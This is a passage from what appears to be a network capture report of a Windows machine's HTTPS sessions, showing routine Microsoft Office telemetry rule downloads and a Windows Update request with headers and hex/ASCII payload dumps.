2024-11-20 20:04:58 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-20 20:04:58 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-20 20:04:58 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-20 20:04:58 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-20 20:04:58 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-20 20:04:58 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-20 20:04:58 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-20 20:04:58 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49805	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:04:59 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=gzyZfBdA9bgtO6B&MD=sVMyygHk HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-20 20:05:00 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 09fb6d87-2103-4e05-8fdc-9916d90ffc16 MS-RequestId: a2b76cb0-4269-474f-a479-26fe3a63a5fd MS-CV: nPMqPFvy1kmnTQaa.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Nov 2024 20:04:59 GMT Connection: close Content-Length: 30005
2024-11-20 20:05:00 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-20 20:05:00 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:00 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:01 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 05856cf7-f01e-0020-4060-3b956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200501Z-178bfbc474blv55whC1NYCpz4800000000h000000000mm0d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:01 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:00 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:01 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: e579fe48-a01e-001e-648c-3a49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200501Z-1777c6cb754whff4hC1TEBcd6c00000008n000000000qsyc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:01 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:00 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:01 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:01 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aa7a34d-201e-0096-3676-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200501Z-178bfbc474bnwsh4hC1NYC2ubs00000000e0000000005cdg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:01 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:00 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:01 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:01 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 7268c357-001e-0066-5863-3b561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200501Z-178bfbc474blv55whC1NYCpz4800000000mg00000000hhrz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:01 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:00 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:01 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:01 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 1c744767-001e-0082-6060-3b5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200501Z-178bfbc474bnwsh4hC1NYC2ubs00000000n0000000000dq3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:05:01 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:03 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:03 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:03 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 17c3c293-501e-00a3-6567-3bc0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200503Z-178bfbc474bwh9gmhC1NYCy3rs00000000fg000000005n59 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
